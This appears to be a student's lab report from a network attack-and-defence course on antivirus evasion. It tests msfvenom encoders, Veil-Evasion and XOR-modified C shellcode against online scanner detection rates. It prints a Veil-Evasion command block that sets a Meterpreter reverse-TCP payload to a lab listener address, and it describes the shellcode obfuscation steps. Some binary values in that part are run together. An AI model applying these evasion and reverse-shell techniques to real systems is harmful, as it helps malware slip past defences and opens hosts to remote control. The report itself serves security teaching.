zoukankan      html  css  js  c++  java
  • 20145330 《网络攻防》 免杀原理与实践

    20145330 《网络攻防》 免杀原理与实践

    一、基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 基于特征码的检测
      • 特征码:一段特征码就是一段或多段数据。
      • 如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • 启发式恶意软件检测
      • 根据些片面特征去推断。
      • 通用性,不精确。
    • 基于行为的恶意软件检测
      • 修改文件硬盘、连接恶意网站、修改注册表

    (2)免杀是做什么?

    • 通过一些手段来瞒过杀软的检测扫描。避免被杀毒软件查杀。

    (3)免杀的基本方法有哪些?

    • 改变特征码
      • 如果有exe可以加壳
      • 有shellcode可以用encode进行编码
      • 有源代码可以用veil-evasion进行重写再编译
    • 改变行为
      • 尽量使用反弹式连接、使用隧道技术
      • 基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

    二、实验总结体会

    这次实验让我以一个攻击者的角度了解了免杀原理,通过一次次实践逐步体会知识。尝试各种方法发现还是可以避过很多杀毒软件的,这也让我意识到了安全系统的漏洞,以后在生活应用中一定多加注意,保护好自己的电脑。

    三、离实战还缺些什么技术或步骤?

    实战靶机不会乖乖被你植入一个后门程序,并没有这么理想的情况...可以这样肆无忌惮的多次尝试

    本次实验是有稳定的局域网与ip,但在实战中这些都无法保证,难度就会大大加强。

    四、实践过程记录

    1. 基于特征码的改变来实现免杀

    本次实验测试网址:http://www.virscan.org/

    1.1 msfvenom直接生成meterpreter可执行文件并检测:

    输入如下命令如下:

    检测结果如下:

    扫描结果:53%的杀软(21/39)报告发现病毒

    1.2 Msfvenom使用编码器生成可执行文件

    可以尝试多编码几次比如10次,理论上肯定比一次好些...但上课时老师说编码器可能就本身会被发现。

    生成编码的可执行文件然后上传:

    检测结果:

    扫描结果:53%的杀软(21/39)报告发现病毒

    与直接生成可执行文件的扫描结果是一样的...那就多编码几次试试,看看能不能好点,就试十次吧:在指令里加上i 10

    检测结果:

    扫描结果:53%的杀软(21/39)报告发现病毒

    心塞..并没有什么变化,应该是编码器本身就能被查吧,所以这个方法并不够免杀。

    2. Veil-Evasion生成可执行文件

    从老师那下载的kali自带Veil-Evasion这个软件,命令行直接输入veil-evasion打开软件,然后在menu里输入命令生成可执行文件:

    
    	use python/meterpreter/rev_tcp
    	set LHOST 192.168.124.128
    	generate
    	5330-winmine
    	1
    
    

    成功后就是下图中的样子:(生成的文件就在图中路径中.exe文件在最后一层compiled中)

    这个检测相比于上几次扫描真的进步了好多:扫描结果:25%的杀软(10/39)报告发现病毒

    3. C语言调用Shellcode

    算是半手工打造恶意软件

    3.1 先使用命令生成一个c语言格式的Shellcode数组:

    将以上代码从虚拟机里copy出来,用vc6.0(很多人是Microsoft Visual Studio 2013,只要能编译c的软件应该都可以吧)进行编译运行生成可执行文件:shellcode5330.cpp

    在kali下打开msf监听进程,在靶机上运行shellcode5330.cpp可执行文件

    VirSCAN.org检测结果如下:

    扫描结果:12%的杀软(5/39)报告发现病毒。

    360依然可以检测出来。

    由此可以看出生成shellcode半手工打造比之前的msfvenom直接生成可执行文件要好多了,但仍被定义为病毒文件,还需要改改.....

    3.2 修改shellcode——逆序

    采取的原理是原有shellcode不变,只在VC6.0下对源代码进行修改。

    先试试求其逆序,首尾对换,操作简单易实现,看看查杀结果再进一步分析。

    求逆序并将其输出的代码为高其同学的代码。在vc6.0下执行(shellcode2.cpp)。

    运行后扫描结果如下:

    扫描结果:5%的杀软(2/39)报告发现病毒

    3.3 进一步修改shellcode

    再复杂变化些,将shellcode数组的奇数位与偶数位区别对待,分别做如下操作:

    • 奇数位:亦或172,172101011000xAC
    • 偶数位:亦或83,83010100110x53

    这样可以保证shellcode数组中的每一个元素都发生了一半bit的变化,而且变化不尽相同,在一定程度上改变了原数组的内容,
    shellcode3.cpp:依然参考了高其同学的代码。

    检测结果:

    扫描结果:5%的杀软(2/39)报告发现病毒,依然是上次检测出病毒的两枚软件...

    但是我自己电脑上的杀毒软件并没有检测出病毒,也算尝试的比较成功了。

    kali下msf监听成功:

    获取权限:

  • 相关阅读:
    #include <boost/shared_array.hpp>
    #include <boost/shared_ptr.hpp>
    #include <boost/scoped_array.hpp>
    df命令
    telnet命令
    sort 命令
    苏宁大数据面试题
    hive严格模式
    k-means伪代码
    vim编辑器
  • 原文地址:https://www.cnblogs.com/20145330swx/p/6596198.html
Copyright © 2011-2022 走看看